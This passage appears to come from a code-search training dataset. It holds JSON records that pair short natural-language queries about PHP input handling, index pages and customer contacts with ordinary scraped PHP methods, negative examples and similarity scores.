}", "public function InputPerson(Request $request){\n\n return $request;\n\n }", "public function populateFromInput(): void {\n\t\t\n\t\tforeach ($this->getSections() as $section) {\n\t\t\t$section->populateFromInput();\n\t\t}\n\t}", "public function __construct($request = NULL) {\n global $inputs;\n if (is_string($request)) {\n $request = json_decode($request, TRUE);\n }\n if (!empty($request)) {\n array_push($inputs, $request);\n }\n $this->inputs = $inputs;\n }", "function clear_input_data()\r\n{\r\n if (isset($_SESSION['input'])) {\r\n $_SESSION['input'] = [];\r\n }\r\n}", "protected function inputUpdate(WireInput $input) {}", "function requestInput($key)\n{\n return request()->input($key);\n}", "public function modify_input_for_read($input)\n {\n return $input;\n }", "public function input()\n {\n return $this->_input;\n }", "private function resetInput()\n {\t\t\n //Que id es para las acciones\n $this->selected_id = null;\n $this->cob_solicitud = null;\n $this->cob_comproban = null;\n $this->cob_serie = null;\n $this->cob_numero = null;\n $this->con_subtotal = null;\n $this->cob_igv = null;\n $this->cob_total = null;\n \n }", "public function __construct(array $input = null)\n {\n if ($input != null) {\n $this->putAll($input);\n }\n }", "public function loadInput($raw_input = null)\n\t{\n\t\tif ($raw_input !== null) {\n\t\t\t$this->raw_input = $raw_input;\n\t\t} else {\n\t\t\t$method = isset($this->form_def['form']['http_method']) ? $this->form_def['form']['http_method'] : 'post';\n\t\t\tswitch ($method) {\n\t\t\t\tcase 'get':\n\t\t\t\tcase 'GET':\n\t\t\t\tcase 'Get':\n\t\t\t\t\t$this->raw_input = $_GET;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'post':\n\t\t\t\tcase 'POST':\n\t\t\t\tcase 'Post':\n\t\t\t\t\t$this->raw_input = $_POST;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new \\InvalidArgumentException('Unknown HTTP method: '.$method);\n\t\t\t}\n\t\t}\n\t}", "private function resetInputFields(){\n $this->title = '';\n $this->original_url = '';\n $this->platform_id = '';\n }", "function getInputValues();", "public static function input_fields()\n {\n }", "public function init($input = null)\n {\n if ((null === $input) && isset($_SESSION)) {\n $input = $_SESSION;\n if (is_object($input) && !$_SESSION instanceof \\ArrayObject) {\n $input = (array) $input;\n }\n } elseif (null === $input) {\n $input = array();\n }\n $_SESSION = $input;\n }", "protected function addInputsToRequest($inputs){\n\n collect($inputs)->each(fn($val, $key) => request()->merge([$key => $val]));\n }", "public function getInput()\r\n\t{\r\n\t\treturn $this->input;\r\n\t}", "public function sanitize_save($input)\r\n {\r\n $new_input = array();\r\n if (isset($input['id_number'])) {\r\n $new_input['id_number'] = absint($input['id_number']);\r\n }\r\n\r\n if (isset($input['title'])) {\r\n $new_input['title'] = sanitize_text_field($input['title']);\r\n }\r\n\r\n if (isset($input['theme_field_slug'])) {\r\n $new_input['theme_field_slug'] = sanitize_text_field($input['theme_field_slug']);\r\n }\r\n\r\n return $new_input;\r\n }", "private function resetInputFields(){\n $this->teacher_id = '';\n $this->lending_id = '';\n $this->note = '';\n $this->device_id = '';\n $this->org_id_1 = '';\n $this->org_id_2 = '';\n $this->lendingDate = '';\n $this->returnDate = '';\n }", "protected function mapRequest() {\n foreach($_REQUEST as $key => $value) {\n $this->data[$key] = $value;\n }\n }", "abstract public function getInput();", "public function getInput()\n {\n return $this->input;\n }", "public function getInput()\n {\n return $this->input;\n }", "public function getInput()\n {\n return $this->input;\n }", "public function getInput()\n {\n return $this->input;\n }", "public function getInput()\n {\n return $this->input;\n }", "public function populate($input, $repopulate = false) {\n\t\t$fields = $this->field ( null, true, false );\n\t\tforeach ( $fields as $f ) {\n\t\t\tif (is_array ( $input ) or $input instanceof \\ArrayAccess) {\n\t\t\t\t// convert form field array's to Fuel dotted notation\n\t\t\t\t$name = str_replace ( array (\n\t\t\t\t\t\t'[',\n\t\t\t\t\t\t']' \n\t\t\t\t), array (\n\t\t\t\t\t\t'.',\n\t\t\t\t\t\t'' \n\t\t\t\t), $f->name );\n\t\t\t\t\n\t\t\t\t// fetch the value for this field, and set it if found\n\t\t\t\t$value = \\Arr::get ( $input, $name, null );\n\t\t\t\t$value === null and $value = \\Arr::get ( $input, $f->basename, null );\n\t\t\t\t$value !== null and $f->set_value ( $value, true );\n\t\t\t} elseif (is_object ( $input ) and property_exists ( $input, $f->basename )) {\n\t\t\t\t$f->set_value ( $input->{$f->basename}, true );\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Optionally overwrite values using post/get\n\t\tif ($repopulate) {\n\t\t\t$this->repopulate ();\n\t\t}\n\t\t\n\t\treturn $this;\n\t}", "public function sanitize( $input ){\n\n\t\t// IMPORTANT : set empty value to unset fields (fixe issue for default value on checkbox items - see custom_get_options())\n\t\tforeach ($this->fields as $field){\n\t\t\tif (!isset($input[$field]))\n\t\t\t\t$input[$field] = '';\n\t\t}\n\n\t\t$input = apply_filters(\"custom_config_options_sanitize_fields\", $input);\n\n\t\treturn $input;\n\t}", "private function clearInputs($input){\n $input=trim($input);\n $input=htmlspecialchars($input);\n $input=mysqli_real_escape_string($this->connection,$input);\n return $input;\n }", "private function resetInputFields(){\n $this->nom = '';\n $this->departements_id = '';\n $this->arrondissement_id = '';\n }", "public function setPreparedByAttribute($input)\n {\n $this->attributes['prepared_by'] = $input ? $input : null;\n }", "public function getInput();", "public function getInput();", "public function getInput();", "public function getInput() {\n return $this->input;\n }", "public function getInput() {\n return $this->input;\n }", "private function inputs(){\n\t\tswitch($_SERVER['REQUEST_METHOD']){ // Make switch case so we can add additional \n\t\t\tcase \"GET\":\n\t\t\t\t$this->_request = $this->cleanInputs($_REQUEST); //or $_GET\n\t\t\t\t$this->_method = \"GET\";\n\t\t\t\t//$this->logRequest();\n\t\t\t\tbreak;\n\t\t\tcase \"POST\":\n\t\t\t\t$this->_request = $this->cleanInputs($_REQUEST); //or $_GET\n\t\t\t\t$this->_method = \"POST\";\n\t\t\t\t//$this->logRequest();\n\t\t\t\tbreak;\n\t\t\tcase \"PUT\":\n\t\t\t\t$this->_request = $this->cleanInputs($_REQUEST); //or $_GET\n\t\t\t\t$this->_method = \"PUT\";\n\t\t\t\t//$this->logRequest();\n\t\t\t\tbreak;\n\t\t\tcase \"DELETE\":\n\t\t\t\t$this->_request = $this->cleanInputs($_REQUEST); //or $_GET\n\t\t\t\t$this->_method = \"DELETE\";\n\t\t\t\t//$this->logRequest();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->response('Forbidden',403);\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function getInputValues()\n {\n return $this->input_values;\n }", "private function getInput()\n {\n $input = new ArrayInput([]);\n\n $input->setInteractive(false);\n\n return $input;\n }", "public function getCleanInput()\n {\n $input = $this->input;\n\n if ($this->is_argv) {\n unset($input[0]);\n }\n\n return $input;\n }", "public function getInputs()\n {\n return array();\n }", "public function input()\n\t{\n\t\treturn $this->parameters;\n\t}", "private function __construct( $input )\n\t{\n\t\tparent::__construct( $input );\n\t}", "public function getInput()\n\t{\n\t\treturn $this->input;\n\t}", "public function override($input)\n\t{\n\t\t$old = (array) json_decode($this->json);\n\n\t\tforeach ($old as $key => $value)\n\t\t{\n\t\t\tunset($this->$key);\n\t\t}\n\n\t\t$this->json = json_encode($input);\n\n\t\t$this->count = count($values);\n\n\t\tforeach ($input as $key => $value)\n\t\t{\n\t\t\t$this->$key = $value;\n\t\t}\n\t}", "protected function processInput(array $request) : array\n {\n return $request;\n }", "public function setInput(array $input)\n {\n $this->_input = new ExtArray($input);\n\n return $this;\n }", "public function input(string $name = null, $default_value = null)\n {\n return $this->loadFrom('input', $name, $default_value);\n }", "public function setInput(string $input): self\n {\n $this->options['input'] = $input;\n return $this;\n }", "public function validateDataFromForm($input)\n {\n \n if(is_array($input)){\n \n return array_map(__METHOD__, $input);\n }\n\n if(!empty($input) && is_string($input)){\n return str_replace(array('\\\\', \"\\0\", \"\\n\", \"\\r\", \"'\", '\"', \"\\x1a\"), array('\\\\\\\\', '\\\\0', '\\\\n', '\\\\r', \"\\\\'\", '\\\\\"', '\\\\Z'), $input);\n }\n\n return $input;\n \n }", "function maintainState(& $input)\n {\n SGL::logMessage(null, PEAR_LOG_DEBUG);\n\n // look for catID\n $sessCatID = SGL_Session::get('currentCatId');\n if (!$input->catID && !$sessCatID) { // if not in input or session, default to 1\n $input->catID = 1;\n } elseif (!$input->catID) // if not in input, grab from session\n $input->catID = SGL_Session::get('currentCatId');\n\n // add to session\n SGL_Session::set('currentCatId', $input->catID);\n\n // look for resource range, ie: 'all' or 'thisCategory'\n $sessResourceRange = SGL_Session::get('currentResRange');\n if (!isset($input->queryRange) && !$sessResourceRange) { // if not in input or session, default to 'all'\n $input->queryRange = 'all';\n } elseif (!isset($input->queryRange)) // if not in input, grab from session\n $input->queryRange = SGL_Session::get('currentResRange');\n\n // add to session\n SGL_Session::set('currentResRange', $input->queryRange);\n\n // look for dataTypeID for template selection in article manager\n $sessDatatypeID = SGL_Session::get('dataTypeId');\n\n // if not in input or session, set default article type\n if (!isset($input->dataTypeID) && !$sessDatatypeID) {\n $c = &SGL_Config::singleton();\n $conf = $c->getAll();\n $defaultArticleType = (array_key_exists('defaultArticleViewType', $conf['site']))\n ? $conf['site']['defaultArticleViewType']\n : 1;\n $input->dataTypeID = $defaultArticleType;\n\n // if not in input, grab from session\n } elseif (!isset($input->dataTypeID))\n $input->dataTypeID = SGL_Session::get('dataTypeId');\n\n // add to session\n SGL_Session::set('dataTypeId', $input->dataTypeID);\n }", "public function setInput(InputInterface $input)\n {\n $this->input = $input;\n }" ]
[ "0.68668085", "0.68471247", "0.68404543", "0.67586803", "0.6566781", "0.6213015", "0.62103", "0.6180669", "0.6086744", "0.60467184", "0.60333455", "0.6029192", "0.6012798", "0.59851223", "0.5966877", "0.5940711", "0.5936653", "0.5896887", "0.58839256", "0.58757925", "0.5869481", "0.5858406", "0.5816127", "0.58022183", "0.5793395", "0.57916635", "0.5780913", "0.57739365", "0.57678396", "0.5737787", "0.57202774", "0.57116216", "0.5679873", "0.5679873", "0.5665428", "0.56529856", "0.56110924", "0.56046313", "0.5604354", "0.5588456", "0.5587292", "0.5584627", "0.5574133", "0.55714554", "0.5570061", "0.55608046", "0.5556796", "0.5550095", "0.55491406", "0.5548631", "0.55268663", "0.55249405", "0.5514095", "0.5512188", "0.55045176", "0.54980123", "0.54963076", "0.5486928", "0.545553", "0.544112", "0.54200065", "0.5414956", "0.5411674", "0.54080284", "0.5396614", "0.53938085", "0.5388772", "0.5386352", "0.53800523", "0.5379778", "0.53742987", "0.53742987", "0.53742987", "0.53742987", "0.53742987", "0.53676915", "0.5364051", "0.5356693", "0.5353158", "0.5348597", "0.5345066", "0.5345066", "0.5345066", "0.53439856", "0.53439856", "0.53402793", "0.53374684", "0.5316528", "0.5312744", "0.53050923", "0.53010017", "0.5297899", "0.52912843", "0.5286473", "0.52746344", "0.5273082", "0.526955", "0.52665555", "0.5263313", "0.5263073", "0.52616966" ]
0.0
-1
The index page, locate to browse.
public function index() { $this->locate(inlink('browse')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function index()\n {\n $this->locate(inlink('browse'));\n }", "public function index()\n {\n $this->locate(inlink('browse'));\n }", "function index()\n{\n\t$index=Page::get(array(\"pg_type\" => \"index\"));\n\tif(isset($index))\n\t{\n\t\t$GLOBALS['GCMS']\n\t\t\t\t->assign('gcms_page_title',\n\t\t\t\t\t\t$GLOBALS['GCMS_SETTING']['seo']['title'].\" | \".$index->pg_title);\n\t\t$GLOBALS['GCMS']\n\t\t\t\t->assign('boxes',\n\t\t\t\t\t\tBox::get(array(\"parent_id\" => $index->id, \"box_status\" => \"publish\"), true,\n\t\t\t\t\t\t\t\tarray(\"by\" => \"id\")));\n\t\t$GLOBALS['GCMS']->assign('show_index', $index);\n\t}\n\telse\n\t\theader(\"location: /error404?error=page&reason=page_not_exist\");\n}", "public function indexAction()\n {\n $this->_forward($this->_getBrowseAction());\n }", "public function index() {\n $exploded = explode(\"/\", $this->_url);\n if (count($exploded) > 1) {\n $this->page(intval($exploded[1]));\n } else {\n $this->page(0);\n }\n }", "private function indexAction()\n {\n $page = isset($_GET['page']) ? substr($_GET['page'],0,-1) : \"home\" ;\n $this->reg->pages->getPageContent(strtolower($page));\n }", "public function index()\n {\n return view('browse::index');\n }", "function index() {\r\n \t\r\n // The default action is the showall action\r\n $this->browse();\r\n }", "public function index()\n\t{\n\t\t$data = array(\n\t\t\t'body' => 'browse/index',\n\t\t\t'na_servers' => $this->browse_model->get_shards('na'),\n\t\t\t'eu_servers' => $this->browse_model->get_shards('eu')\n\t\t);\n\t\t$this->load->view('template', $data);\n\t}", "function index() {\n \n }", "public static function getIndexPage() {\n chdir(ROOTDIR);\n\n //FIXME: move to Request class\n $queryString = $_SERVER['REQUEST_URI'];\n $filePath = realpath(ROOTDIR . parse_url($queryString)['path']);\n\n $res = [];\n if ($filePath && is_dir($filePath)){\n // attempt to find an index file\n// function getRendererName($rendererName) { return \"index.$rendererName\";};\n $availableRenderers = array_values(array_intersect(\n Renderer::getRenderersPriority(),\n Renderer::getRenderersNames()\n ));\n// $renderers = array_map(function($rendererName) { return \"index.$rendererName\";}, $availableRenderers);\n foreach ($availableRenderers as $rname){\n if ($indexFilePath = realpath($filePath . DIRECTORY_SEPARATOR . \"index.\" . $rname)){\n $res['renderer'] = $rname;\n $res['path'] = $indexFilePath;\n break;\n }\n }\n }\n return $res;\n }", "public function index() {\n\t\t$this->display('index');\n\t}", "function index() {\r\n $this->page();\r\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function index()\n {\n return \"INDEX PAGE\";\n }", "function index() {\n\t}", "public function index() {\n\t\t$this->title = 'Home';\n\t\t$this->pageData['pages'] = Page::getAll();\n\t\t$this->render('index');\n\t}", "public function index()\n {\n Config::setJsConfig('curPage', 'downloads-index');\n parent::displayIndex(get_class());\n }", "abstract public function index();", "abstract public function index();", "abstract public function index();", "public function index() {\n $this->view->render('index/index', null, null);\n }", "public abstract function index();", "public abstract function index();", "public abstract function index();", "public function index() {\n\t\t// render the view (/view/main/index.php)\n\t\t$this->view->render(\"main\", \"index\");\n\t}", "public function page_uri_index()\n {\n }", "abstract function index();", "abstract function index();", "abstract function index();", "function index() {\n }", "public function indexAction()\n {\n $this->page = Brightfame_Builder::loadPage(null, 'initialize.xml');\n \n // load the data\n Brightfame_Builder::loadPage(null, 'load_data.xml', $this->page);\n\n // load the view\n Brightfame_Builder::loadPage(null, 'load_view.xml', $this->page, $this->view);\n \n // render the page\n $this->view->page = $this->page;\n $this->view->layout()->page = $this->page->getParam('xhtml');\n }", "public function indexAction()\n {\n $tiles = array();\n $tiles[] = $indexRegion = $this->createIndexRegion();\n return $this->render($this->findTemplatePath('page.html'), [\n 'tiles' => $tiles,\n 'indexRegion' => $indexRegion,\n ]);\n }", "public function index(){\r\n $this->display(index);\r\n }", "function index()\r\n\t{\r\n\t}", "function index()\r\n\t{\r\n\t}", "public function Index()\n {\n $this->standardView('Index');\n }", "public function index(){\n return Vista::crear(\"index\");\n }", "public function index() {\n\n\t\tif(!empty($_GET['page'])) {\n\t\t\tif($_GET['page'] == 'home') {\n\t\t\t\t(new HomeController)->home();\n\t\t\t} elseif($_GET['page'] == 'about-me') {\n\t\t\t\t(new HomeController)->aboutMe();\n\t\t\t}\n\t\t} else {\n\t\t\t(new HomeController)->home();\n\t\t}\n\t}", "public function actionIndex()\n\t{\n\t\t$this->session->delete('page.lastSearch');\n\n\t\treturn $this->template->partial('content', 'pages/index', [\n\t\t\t'pages' => Page::findAll('SELECT * FROM nerd_pages'),\n\t\t]);\n\t}", "function indexAction(){\n \n $this->_templateObj->loadTemplate();\n $this->_viewObj->title = \"<title>Tadmin - index/index </title>\";\n $this->_viewObj->render('index/index', true);\n\n }", "function index() {\n $this->renderView(\"index\");\n }", "public function _index(){\n\t $this->_list();\n\t}", "function get_index()\r\n\t{\r\n\r\n\t}", "public function index()\n {\n return $this->index;\n }", "function index()\n\t{\n\t}", "public function index( ) {\n $this->carregarDepencias();\n $this->addClasseBody('page-header-fixed page-quick-sidebar-over-content');\n\n\t\t$this->tpl = $this->CarregarTemplate( 'index.tpl.php' );\n\n\t\t$this->tpl->Renderizar();\n\n\t}", "public function actionIndex()\n {\n return $this->render('/index');\n }", "public function index()\n\t{\n\t\t//\n\t\techo'index';\n\t}", "abstract public function actionIndex();", "public function index() {\n $this->template->attach($this->resours);\n $this->template->draw('index/index', true);\n }", "public function indexAction()\n {\n session_start();\n // On vérifie si le visiteur viens pour la premier fois sur le site\n $this->session();\n // On récuper la liste des contents\n $contents = $this->contentManager->findAllPerPage(\"index\");\n // On va récupérer le dernier article publier\n $chapterManager = new ChapterManager();\n $chapter = $chapterManager->findLastPublished();\n if (!$contents || !$chapter) {\n throw new \\Exception(\"Page introuvable\");\n }\n echo $this->render(\n 'index.html.twig',\n array('contents' => $contents, 'chapter' => $chapter),\n $_SESSION\n );\n }", "public function actionIndex()\n\t{\n\t\t// do stuff that's not the main content?\n\t}", "public function actionIndex() {\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t$this->layout = '//layouts/admin_iframe_main';\n\t\t$this->render('index');\n\t\t//$this->_actionManageBasicSiteInfo ();\n\t}", "function index()\n {\n }", "function index()\n {\n }", "function index()\n {\n }", "public function index()\n {\n //\n return view('backend.pages.index');\n }", "public function pageAction()\n {\n return $this->indexAction();\n }", "public function indexAction() {\n\t\t$this->_model->where_clause(NULL);\n\n\t\tif(!isset($this->params['page'])) {\n\t\t\tself::$params['page'] = 1;\n\t\t} \n\n\t\t$this->_view->data['info'] = $this->_model->getPage($this->params['page'], $this->config->pagination_limit);\n\t\t$this->_view->data['total_items'] = $this->_model->getCount();\n\t\t$this->addModuleTemplate($this->module, 'index');\n\n\t}", "function getIndexPage( $pIndexType = NULL ){\n\t\tglobal $userlib, $gBitUser, $gBitSystem;\n\t\t$pIndexType = !is_null( $pIndexType )? $pIndexType : $this->getConfig( \"bit_index\" );\n\t\t$url = '';\n\t\tif( $pIndexType == 'group_home') {\n\t\t\t// See if we have first a user assigned default group id, and second a group default system preference\n\t\t\tif( !$gBitUser->isRegistered() && ( $group_home = $gBitUser->getGroupHome( ANONYMOUS_GROUP_ID ))) {\n\t\t\t} elseif( @$this->verifyId( $gBitUser->mInfo['default_group_id'] ) && ( $group_home = $gBitUser->getGroupHome( $gBitUser->mInfo['default_group_id'] ))) {\n\t\t\t} elseif( $this->getConfig( 'default_home_group' ) && ( $group_home = $gBitUser->getGroupHome( $this->getConfig( 'default_home_group' )))) {\n\t\t\t}\n\n\t\t\tif( !empty( $group_home )) {\n\t\t\t\tif( $this->verifyId( $group_home ) ) {\n\t\t\t\t\t$url = BIT_ROOT_URL.\"index.php\".( !empty( $group_home ) ? \"?content_id=\".$group_home : \"\" );\n\t\t\t\t// wiki dependence - NO bad idea\n\t\t\t\t// } elseif( strpos( $group_home, '/' ) === FALSE ) {\n\t\t\t\t// \t$url = BitPage::getDisplayUrl( $group_home );\n\t\t\t\t} elseif( strpos( $group_home, 'http://' ) === FALSE ){\n\t\t\t\t\t$url = BIT_ROOT_URL.$group_home;\n\t\t\t\t} else {\n\t\t\t\t\t$url = $group_home;\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif( $pIndexType == 'my_page' || $pIndexType == 'my_home' || $pIndexType == 'user_home' ) {\n\t\t\t// TODO: my_home is deprecated, but was the default for BWR1. remove in DILLINGER - spiderr\n\t\t\tif( $gBitUser->isRegistered() ) {\n\t\t\t\tif( !$gBitUser->isRegistered() ) {\n\t\t\t\t\t$url = USERS_PKG_URL.'login.php';\n\t\t\t\t} else {\n\t\t\t\t\tif( $pIndexType == 'my_page' ) {\n\t\t\t\t\t\t$url = $gBitSystem->getConfig( 'users_login_homepage', USERS_PKG_URL.'my.php' );\n\t\t\t\t\t\tif( $url != USERS_PKG_URL.'my.php' && strpos( $url, 'http://' ) === FALSE ){\n\t\t\t\t\t\t\t// the safe assumption is that a custom path is a subpath of the site \n\t\t\t\t\t\t\t// append the root url unless we have a fully qualified uri\n\t\t\t\t\t\t\t$url = BIT_ROOT_URL.$url;\n\t\t\t\t\t\t}\n\t\t\t\t\t} elseif( $pIndexType == 'user_home' ) {\n\t\t\t\t\t\t$url = $gBitUser->getDisplayUrl();\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$users_homepage = $gBitUser->getPreference( 'users_homepage' );\n\t\t\t\t\t\tif( isset( $users_homepage ) && !empty( $users_homepage )) {\n\t\t\t\t\t\t\tif( strpos($users_homepage, '/') === FALSE ) {\n\t\t\t\t\t\t\t\t$url = BitPage::getDisplayUrl( $users_homepage );\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$url = $users_homepage;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$url = USERS_PKG_URL . 'login.php';\n\t\t\t}\n\t\t} elseif( in_array( $pIndexType, array_keys( $gBitSystem->mPackages ) ) ) {\n\t\t\t$work = strtoupper( $pIndexType ).'_PKG_URL';\n\t\t\tif (defined(\"$work\")) {\n\t\t\t\t$url = constant( $work );\n\t\t\t}\n\n\t\t\t/* this was commented out with the note that this can send requests to inactive packages - \n\t\t\t * that should only happen if the admin chooses to point to an inactive pacakge.\n\t\t\t * commenting this out however completely breaks the custom uri home page feature, so its\n\t\t\t * turned back on and caviate admin - if the problem is more severe than it seems then \n\t\t\t * get in touch on irc and we'll work out a better solution than commenting things on and off -wjames5\n\t\t\t */\n\t\t} elseif( !empty( $pIndexType ) ) {\n\t\t\t$url = BIT_ROOT_URL.$pIndexType;\n\t\t}\n\n\t\t// if no special case was matched above, default to users' my page\n\t\tif( empty( $url ) ) {\n\t\t\tif( $this->isPackageActive( 'wiki' ) ) {\n\t\t\t\t$url = WIKI_PKG_URL;\n\t\t\t} elseif( !$gBitUser->isRegistered() ) {\n\t\t\t\t$url = USERS_PKG_URL . 'login.php';\n\t\t\t} else {\n\t\t\t\t$url = USERS_PKG_URL . 'my.php';\n\t\t\t}\n\t\t}\n\n\t\tif( strpos( $url, 'http://' ) === FALSE ) {\n\t\t\t$url = preg_replace( \"#//#\", \"/\", $url );\n\t\t}\n\n\t\treturn $url;\n\t}", "public function index() {\n\t\t// the /article URL without /article/view/. In this case, let's\n\t\t// redirect them to the index.\n\t\theader('Location: /');\n\t}", "public function get_index()\n\t{\n\t\treturn View::make('home.index');\n\t}", "public function getIndex()\n {\n // add stuff here\n }", "public function index()\n\t{\n\t\t$this->template\n\t\t\t->title('')\n\t\t\t->build('admin/index');\n\t}", "public function actionIndex(){\r\r\n\t\t$this->render('index', array());\r\r\n\t}", "public function actionIndex()\n\t{\n\t\techo 1 . \"\\n\\r\";\n\t}", "protected function indexAction() {}", "public function indexAction()\n {\n return $this->_forward('top', 'search', 'admin');\n }", "public function index()\n\t{\n\t\t//if needed\n\t}", "public function index()\n\t{\n\t\t$this->loadViews(\"index\");\n\t}", "public function actionIndex() {\n // renders the view file 'protected/views/site/index.php'\n // using the default layout 'protected/views/layouts/main.php'\n $this->render('index');\n }", "public function Index() {\n\t\t$this->views->SetTitle('Maveric Guestbook Example');\n\t\t$this->views->AddInclude(__DIR__ . '/index.tpl.php', array(\n\t\t 'entries'=>$this->guestbookModel->ReadAll(),\n\t\t 'form_action'=>$this->request->CreateUrl('', 'handler')\n\t\t));\n\t}", "public function actionIndex() {\r\n // renders the view file 'protected/views/site/index.php'\r\n // using the default layout 'protected/views/layouts/main.php'\r\n $this->render('index');\r\n }", "function invokeDefaultPage() {\r\n require(\"controllers/IndexController.php\");\r\n $controller = new IndexController();\r\n $controller->index();\r\n }", "public function actionIndex()\n\t{\n\t $this->pageTitle = 'Get Started';\n\t\t$this->render('index');\n\t}", "public function actionIndex()\r\n\t{\r\n\t\t// renders the view file 'protected/views/site/index.php'\r\n\t\t// using the default layout 'protected/views/layouts/main.php'\r\n\t\t$this->render('index');\r\n\t}", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function indexAction()\n {\n $this->render('/views/index.html');\n }", "function index(){\n\n global $wear;\n $template = $this->loadView($wear->front . \"/index\");\n $template->set(\"page\" , SITE_NAME . \" | Home\");\n $template->render(); \n\n }", "public function index() {\n\n $attr = array();\n\t\t$this->layout_lib->default_template('master/template_pola/index', $attr);\n }", "public function action_index()\r\n\t{\r\n\t\t$this->title = 'Welcome';\r\n\t\t$this->template->content = View::factory('index');\r\n\t}", "public function actionIndex()\n\t{\n\t\t\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n {\n\t return $this->render('index');\n }", "public function index()\n {\n return view(\"{$this->viewsPath}.index\", ['models' => Directory::paginate(25)]);\n }", "public function actionIndex()\n {\n $this->render('index');\n }", "public function index()\n {\n $this->layout\n ->add('../students/home/index')\n ->launch();\n }", "public function index(){\n\t\t$data['mainContent'] = 'landingPage/index';\n\t\t$this->landingPageRenderer('landingPage/index', $data);\n\t}", "public function index()\n\t{\n\t\treturn view('pages.index');\n\t}", "function index() {\n\n }", "public function indexAction()\n {\n return $this->doIndex();\n }", "public function indexAction()\n {\n return $this->doIndex();\n }", "public function indexAction()\n {\n return $this->doIndex();\n }", "public function indexAction()\n {\n return $this->doIndex();\n }", "public function actionIndex()\n\t{\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t$this->render('index');\n\t}", "public function actionIndex()\n\t{\n\t\t// renders the view file 'protected/views/site/index.php'\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t$this->render('index');\n\t}" ]
[ "0.7999169", "0.7999169", "0.74732584", "0.7438287", "0.73597485", "0.7325751", "0.73249173", "0.7313808", "0.72327274", "0.71139234", "0.70802", "0.7078023", "0.7069996", "0.7064434", "0.7062986", "0.7033754", "0.69992304", "0.6967605", "0.69505423", "0.69505423", "0.69505423", "0.69376844", "0.6911343", "0.6911343", "0.6911343", "0.6899814", "0.68882334", "0.6877948", "0.6877948", "0.6877948", "0.6838521", "0.6825611", "0.6820653", "0.6816375", "0.6815197", "0.6815197", "0.679105", "0.6782847", "0.6767101", "0.67436516", "0.6729301", "0.6715225", "0.6713928", "0.6713057", "0.67052853", "0.67016786", "0.66912836", "0.6687822", "0.6678683", "0.66763246", "0.66724455", "0.6663485", "0.6641155", "0.6638555", "0.66360295", "0.66360295", "0.66360295", "0.66300285", "0.6623071", "0.662145", "0.66207945", "0.66166705", "0.6602433", "0.6598447", "0.6597204", "0.65871084", "0.6584489", "0.65822935", "0.6572392", "0.657178", "0.6568359", "0.65678096", "0.65633106", "0.65546", "0.65524673", "0.6551495", "0.6550406", "0.65496486", "0.6546904", "0.65427566", "0.65413135", "0.6535706", "0.65342146", "0.65283054", "0.6526281", "0.65261155", "0.65250784", "0.65239763", "0.65236264", "0.65181553", "0.65145665", "0.65101665", "0.65101665", "0.65101665", "0.65101665", "0.650719", "0.650719", "0.650719", "0.650719", "0.650719" ]
0.7803315
2
Get contact of an customer.
public function contact($order, $orderBy = 'id_desc', $recTotal = 0, $recPerPage = 20, $pageID = 1) { $this->app->loadClass('pager', $static = true); $pager = new pager($recTotal, $recPerPage, $pageID); $order = $this->order->getByID($order); $contacts = $this->loadModel('contact', 'crm')->getList($order->customer, $relation = 'client', $mode = '', $status = 'normal', $origin = '', $orderBy, $pager); $this->view->title = $this->lang->order->contact; $this->view->contacts = $contacts; $this->view->pager = $pager; $this->view->orderBy = $orderBy; $this->display(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCustomer()\n {\n if (null === $customer && isset($this['CUSTOMER_ID']))\n {\n $this->customer = \\Fastbill\\Customer\\Finder::findOneById($this['CUSTOMER_ID']);\n }\n return $this->customer;\n }", "public function getContact()\n {\n $userId = Yii::$app->user->id;\n\n if ($userId == $this->author_id) {\n return $this->recipient;\n } elseif ($userId == $this->recipient_id) {\n return $this->author;\n }\n\n }", "public function getContact()\n {\n return isset($this->contact) ? $this->contact : null;\n }", "public function getContact()\n {\n return $this->contact;\n }", "public function getContact()\n {\n return $this->contact;\n }", "public function getContact()\n {\n return $this->contact;\n }", "public function getCustomer()\n {\n return \\tabs\\api\\core\\Customer::create($this->getCusref());\n }", "public static function getContact($customer_id, $type = \"Telephone\") {\n $record = Doctrine_Query::create ()->select ( 'contact' )\n \t\t\t\t\t\t\t ->from ( 'Contacts c' )\n \t\t\t\t\t\t\t ->leftJoin ( 'c.ContactsTypes t' )\n \t\t\t\t\t\t\t ->where ( \"customer_id = ? and t.name = ?\", array($customer_id, $type) )\n \t\t\t\t\t\t\t ->limit ( 1 )\n \t\t\t\t\t\t\t ->execute ( array (), Doctrine_Core::HYDRATE_ARRAY );\n \t\t\t\t\t\t\t \n return !empty($record[0]['contact']) ? $record[0]['contact'] : array();\n }", "public function getContact()\n {\n return 